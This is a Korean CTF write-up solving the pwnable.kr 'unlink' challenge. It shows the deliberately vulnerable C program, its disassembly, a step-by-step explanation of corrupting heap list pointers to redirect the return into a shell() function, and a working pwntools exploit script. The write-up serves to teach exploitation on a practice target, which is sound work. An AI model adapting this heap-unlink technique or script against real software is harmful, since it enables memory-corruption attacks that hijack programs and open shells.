해설
Daddy! how can I exploit unlink corruption?
ssh로 접속해서 unlink.c 코드를 보자
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
A B C 가 doubly-linked list의 구조로 메모리에 저장되어 있고, 각 오브젝트들은 8바이트의 버퍼를 갖고있다. 그리고 unlink 함수는 인자로 넘겨 받은 오브젝트의 앞 뒤 연결을 끊는다 이를 시각화 하면 아래와 같다
그리고 코드 주석에도 나와있지만 gets로 A의 버퍼에 입력을 받기 때문에, 여기서 오버플로우가 발생한다. 코드만 봐도 힙의 메모리 레이아웃은 다음과 같이 추측할 수 있다
힙에는 A(빨간색) B(파란색) C(초록색)이 순서대로 저장되어 있을 것이고, gets(A->buf)에 의해 우리는 빨간 글씨로 색칠되어 있는 부분을 모두 조작할 수 있게 된다
여기까지 알고나면 해야할 일은 뻔해지는 것 같다. unlink 이후의 리턴 주소를 조작해서 shell() 함수를 실행시키도록 하면 될 것 같다. 그치만 어떻게 해야할까? unlink는 시각적으로 보았을때는 직관적으로 와닿지 않을 수 있지만, 결론적으론 B->fd 부분과 B->bk 부분에 내가 조작하고싶은 부분의 주소를 넣으면 된다.
FD = b->fd
BK = b->bk
이므로, FD->bk는 b->fd->bk, 즉 b->fd 부분의 주소 + 4바이트 부분을 가리키게되고, BK->fd는 b->bk 부분의 주소를 그대로 가리키게 된다
문제에서 스택 주소와 힙 주소 leak을 제공하기 때문에, 주소를 구할 걱정은 하지 않아도 된다. 그런데 도대체 어디의 주소를 조작해야할까? 언뜻봐서는 리턴 주소를 shell() 주소로 바꿔치기 하면 될것 같지만, 그렇게 할 경우 shell() 주소 부분도 바뀌어야 하는데 shell() 주소 부분은 텍스트 영역이므로 바뀌지 않는다. 여기까지만 봐서는 어떤 주소를 바꿔야할지가 명확하지 않다. main의 어셈 코드를 보도록 하자
Dump of assembler code for function main:
0x0804852f <+0>: lea ecx,[esp+0x4]
0x08048533 <+4>: and esp,0xfffffff0
0x08048536 <+7>: push DWORD PTR [ecx-0x4]
0x08048539 <+10>: push ebp
0x0804853a <+11>: mov ebp,esp
0x0804853c <+13>: push ecx
0x0804853d <+14>: sub esp,0x14
0x08048540 <+17>: sub esp,0xc
0x08048543 <+20>: push 0x400
0x08048548 <+25>: call 0x80483a0 <malloc@plt>
0x0804854d <+30>: add esp,0x10
0x08048550 <+33>: sub esp,0xc
0x08048553 <+36>: push 0x10
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add esp,0x10
0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax
0x08048560 <+49>: sub esp,0xc
0x08048563 <+52>: push 0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add esp,0x10
0x0804856d <+62>: mov DWORD PTR [ebp-0xc],eax
0x08048570 <+65>: sub esp,0xc
0x08048573 <+68>: push 0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add esp,0x10
0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax
0x08048580 <+81>: mov eax,DWORD PTR [ebp-0x14]
0x08048583 <+84>: mov edx,DWORD PTR [ebp-0xc]
0x08048586 <+87>: mov DWORD PTR [eax],edx
0x08048588 <+89>: mov edx,DWORD PTR [ebp-0x14]
0x0804858b <+92>: mov eax,DWORD PTR [ebp-0xc]
0x0804858e <+95>: mov DWORD PTR [eax+0x4],edx
0x08048591 <+98>: mov eax,DWORD PTR [ebp-0xc]
0x08048594 <+101>: mov edx,DWORD PTR [ebp-0x10]
0x08048597 <+104>: mov DWORD PTR [eax],edx
0x08048599 <+106>: mov eax,DWORD PTR [ebp-0x10]
0x0804859c <+109>: mov edx,DWORD PTR [ebp-0xc]
0x0804859f <+112>: mov DWORD PTR [eax+0x4],edx
0x080485a2 <+115>: sub esp,0x8
0x080485a5 <+118>: lea eax,[ebp-0x14]
0x080485a8 <+121>: push eax
0x080485a9 <+122>: push 0x8048698
0x080485ae <+127>: call 0x8048380 <printf@plt>
0x080485b3 <+132>: add esp,0x10
0x080485b6 <+135>: mov eax,DWORD PTR [ebp-0x14]
0x080485b9 <+138>: sub esp,0x8
0x080485bc <+141>: push eax
0x080485bd <+142>: push 0x80486b8
0x080485c2 <+147>: call 0x8048380 <printf@plt>
0x080485c7 <+152>: add esp,0x10
0x080485ca <+155>: sub esp,0xc
0x080485cd <+158>: push 0x80486d8
0x080485d2 <+163>: call 0x80483b0 <puts@plt>
0x080485d7 <+168>: add esp,0x10
0x080485da <+171>: mov eax,DWORD PTR [ebp-0x14]
0x080485dd <+174>: add eax,0x8
0x080485e0 <+177>: sub esp,0xc
0x080485e3 <+180>: push eax
0x080485e4 <+181>: call 0x8048390 <gets@plt>
0x080485e9 <+186>: add esp,0x10
0x080485ec <+189>: sub esp,0xc
0x080485ef <+192>: push DWORD PTR [ebp-0xc]
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
End of assembler dump.
main 함수 끝자락을 보면 lea esp, [ecx-0x4]가 있고 그다음 ret을 통해 esp가 가리키고 있는 스택 탑이 eip에 pop 된다. 조금 더 위를 보면 mov ecx, DWORD PTR [ebp-0x4]이므로 ecx는 결국 [ebp-0x4]가 가리키고 있는 부분의 값이다. 즉, ebp-0x4 위치의 값 - 4바이트 만큼의 값이 esp에 저장되어 스택 탑의 주소가 아예 바뀌게 되버리고, 바뀐 부분의 주소가 가리키는 값을 pop하게 되는 것이다.
즉 다시 한번 더 쉽게 생각해보면, ecx-0x4의 값이 shell() 함수의 주소 값을 저장하고 있는 부분의 주소이면 될 것 같다.
우리는 A의 버퍼를 조작할 수 있기 때문에, 다음과 같이 조작을 해보도록하자
A->buf = shell() 주소(4byte)
B->fd = ebp-0x8
B->bk = A->buf + 0x4
이렇게 조작했을 경우,
FD = B->fd
BK = B->bk
이므로 FD->bk = BK에 의해
*(ebp-0x8+0x4) = *(ebp - 0x4) = A->buf + 0x4가 되고
BK->fd = FD에 의해
*(A->buf+0x4) = ebp-0x8이 된다(이 부분은 중요하지 않다)
그렇게 되면 ebp-0x4가 가리키는 부분에 A->buf 주소 + 0x4의 값이 들어가게 되고, 최종적으로 ecx-0x4의 값은 A->buf 주소가 되어, esp에 A->buf의 주소가 저장되게 되고, ret에서 eip에 shell() 함수의 주소가 저장되어 실행 흐름을 변조할 수 있다.
익스플로잇 코드는 다음과 같다.
from pwn import *
p = process("/home/unlink/unlink")
stack_leak = p.recvline()
heap_leak = p.recvline()
stack_leak = stack_leak[-9:]
heap_leak = heap_leak[-8:]
shell_addr = p32(0x80484eb)
stack_leak = p32(int(stack_leak, 16) + 0xC)
heap_leak = p32(int(heap_leak, 16) + 0xC)
print(stack_leak)
print(heap_leak)
payload = shell_addr + "A"*12 + stack_leak + heap_leak
p.sendline(payload)
p.interactive()
stack_leak은 ebp-0x14 부분이기 때문에, ebp-0x8과 0xC만큼 차이가 나서 더해주었다.
마찬가지로 heap_leak은 A의 시작 부분인데, A->buf+0x4와는 0xC만큼 차이가 나서 더해주었다.
shell 함수의 주소는 gdb로 확인했다
'pwn' 카테고리의 다른 글
pwnable.kr - horcruxes (0) | 2020.08.04 |
---|---|
pwnable.kr - blukat (0) | 2020.08.04 |
pwnable.kr - asm (0) | 2020.07.22 |
pwnable.kr - memcpy (0) | 2020.07.21 |
pwnable.kr - uaf (0) | 2020.07.21 |